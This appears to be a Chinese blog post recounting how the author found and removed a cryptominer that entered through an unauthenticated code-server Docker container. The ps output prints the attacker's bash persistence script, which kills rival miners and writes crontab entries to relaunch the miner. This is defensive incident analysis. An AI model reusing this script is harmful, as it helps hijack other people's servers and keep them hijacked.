服务器挖矿病毒排查

0x01 序

昨天晚上我的监控bot一直给我发消息,Trilium挂了好几次,我要睡觉了没管。

今早打开笔记还是挂的状态,事出反常必有妖!

进服务器一看,四个CPU全部爆红100%。

0x02 分析

进入服务器htop看一下,找找哪个占用最高。

这个syst3md一看就不正经,占用那么高。(之前是syst4md,被我杀掉了,重启变成syst3md了)

killall syst3md

不出意外的,它重启了。

0x03 杀毒

用htop按F5可以树形查看进程,可以看到挖矿进程的父进程。

由于挖矿进程执行完就销毁,htop是实时的,所以不好定位。

使用ps aux |grep syst3md查找,得到

[root@Cynic Ciallo]# ps -aux |grep start
root         383  0.0  0.0   8504   836 ?        Ss   13:11   0:02 sshd: /usr/bin/sshd -D [listener] 0 of 10-100 startups
Talisker   44627  0.1  0.0   7892  2428 pts/0    S    14:59   0:00 ./apachelogs -c                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 #!/bin/bash  sleeptime=5  killminers() {     pkill obama1     pkill playstation     pkill xmrig .pkill java     pkill cnrig }  hook1location=`cat /var/tmp/.apachee/.hook1location` apachelogslocation=`cat /var/tmp/.apachee/.apachelogslocation`  while : do .killminers  .if ! crontab -l | grep -q 'cronstart'; .then ..rm -rf .tempo ..echo "* * * * * ${hook1location} > /dev/null <&1 2>&1 & disown" >> .tempo ..sleep 1 ..echo "@monthly ${hook1location} > /dev/null <&1 2>&1 & disown" >> .tempo ..sleep 1 ..echo "@reboot ${apachelogslocation} > /dev/null <&1 2>&1 & disown" >> .tempo ..crontab .tempo ..rm -rf .tempo .fi . .if ! pgrep -x syst3md > /dev/null .then ..$hook1location > /dev/null <&1 2>&1 & disown .fi  .sleep $sleeptime done  ./apachelogs
Talisker   72659  179 12.0 2611652 480380 ?      Ssl  15:05   0:05 /var/tmp/.ICE-Temp/syst3md

显然这个bash就是启动脚本,kill 9 44627 杀死后,再干掉syst3md。CPU下降,挖矿进程不再生成。看它这个脚本还设置了定时启动,还好我服务器上没有cron。

通过proc查找syst3md的执行文件

# ls /proc/<syst3md pid>/ ## 杀死进程之前才能看到

[root@Cynic Ciallo]# ls -al /proc/156898/
total 0
dr-xr-xr-x   9 Talisker Talisker 0 Jan  6 15:25 .
dr-xr-xr-x 334 root     root     0 Jan  6 13:11 ..
-r--r--r--   1 Talisker Talisker 0 Jan  6 15:25 arch_status
dr-xr-xr-x   2 Talisker Talisker 0 Jan  6 15:25 attr
-rw-r--r--   1 Talisker Talisker 0 Jan  6 15:25 autogroup
-r--------   1 Talisker Talisker 0 Jan  6 15:25 auxv
-r--r--r--   1 Talisker Talisker 0 Jan  6 15:25 cgroup
--w-------   1 Talisker Talisker 0 Jan  6 15:25 clear_refs
-r--r--r--   1 Talisker Talisker 0 Jan  6 15:25 cmdline
-rw-r--r--   1 Talisker Talisker 0 Jan  6 15:25 comm
-rw-r--r--   1 Talisker Talisker 0 Jan  6 15:25 coredump_filter
-r--r--r--   1 Talisker Talisker 0 Jan  6 15:25 cpu_resctrl_groups
-r--r--r--   1 Talisker Talisker 0 Jan  6 15:25 cpuset
lrwxrwxrwx   1 Talisker Talisker 0 Jan  6 15:25 cwd -> /var/tmp/.ICE-Temp
-r--------   1 Talisker Talisker 0 Jan  6 15:25 environ
lrwxrwxrwx   1 Talisker Talisker 0 Jan  6 15:25 exe -> /usr/bin/sleep
dr-x------   2 Talisker Talisker 8 Jan  6 15:25 fd
dr-xr-xr-x   2 Talisker Talisker 0 Jan  6 15:25 fdinfo
-rw-r--r--   1 Talisker Talisker 0 Jan  6 15:25 gid_map
-r--------   1 Talisker Talisker 0 Jan  6 15:25 io
-r--------   1 Talisker Talisker 0 Jan  6 15:25 ksm_merging_pages

这个/var/tmp/.ICE-Temp并不在系统里,我用find / -name syst3md找找

/var/lib/docker/overlay2/df0dd3e7b62daf89077fe467bf985bb280db7bd51cfd3a48c0927fae99cee001/diff/var/tmp/.ICE-Temp/syst3md

这就是病毒的文件夹了,看看属性

[root@Cynic Ciallo]# stat /var/lib/docker/overlay2/df0dd3e7b62daf89077fe467bf985bb280db7bd51cfd3a48c0927fae99ce
e001/diff/var/tmp/.ICE-Temp
  File: /var/lib/docker/overlay2/df0dd3e7b62daf89077fe467bf985bb280db7bd51cfd3a48c0927fae99cee001/diff/var/tmp/.ICE-Temp
  Size: 4096      Blocks: 8          IO Block: 4096   directory
Device: 254,1Inode: 1070491     Links: 3
Access: (0755/drwxr-xr-x)  Uid: ( 1000/Talisker)   Gid: ( 1000/Talisker)
Access: 2025-01-06 15:30:03.329794789 +0800
Modify: 2025-01-06 15:23:14.191141937 +0800
Change: 2025-01-06 15:23:14.191141937 +0800
 Birth: 2025-01-05 22:21:05.345500219 +0800

就是昨天监控疯狂给我发消息时候创建的。

直接删掉它应该就解决了。

0x04 溯源

我第一时间想到的就是ssh登录,立马翻看ssh记录

# journalctl _COMM=sshd // arch默认是journal接管日志,所以/var/logs/没有sshd日志

翻了半天也没发现有陌生登录,我ssh也特地加固过,禁用密码登录,禁用root登录的。[ 有时间写写怎么加固服务器 ]

因为所有ssh登录时都会把用户名和IP推到我的电报上,应该不是ssh的问题。

突然想到病毒文件的位置,/var/lib/docker/overlay2/df0dd3e7b62daf89077fe467bf985bb280db7bd51cfd3a48c0927fae99ce
e001/diff/var/tmp/.ICE-Temp 这是docker的文件,查了一下,是code-server的容器。

code-server是一个可以在浏览器编程的环境,可以说是网页版的vscode,但是这个镜像没有鉴权,就是说部署后任何人都可以通过这个连接使用。

我打开code-server一看,好家伙!

直接在这写的,我一开始以为是vscode哪个恶意插件带的病毒呢,结果。。这算病毒吗?看来任何暴露的服务都要做好鉴权。

 

0x03 结论

初步排查没有发现ssh异常登录的痕迹,syst4md的启动进程的父进程来自docker运行的codeserver,病毒可能是通过codeserver的进入的,停止codeserver服务后病毒进程死亡,CPU使用率下降。定位就在codeserver,打开网页检查,是暴露的服务没有鉴权导致被滥用了。它应该就是特意在公网扫描没有鉴权的code-server服务,然后留下挖矿程序,没人发现他就赚了。从代码也可以看出来,这就是为了codeserver这个环境编写的。

(PS :但凡你占用低一点,我可能都不会发现。直接开七八个进程把我正常的服务都搞挂掉了。肯定得看看咋回事呀!)

晚上得配置一下防火墙,把所有暴露的端口检查一下。

“您的支持是我持续分享的动力”

微信收款码
微信
支付宝收款码
支付宝

目录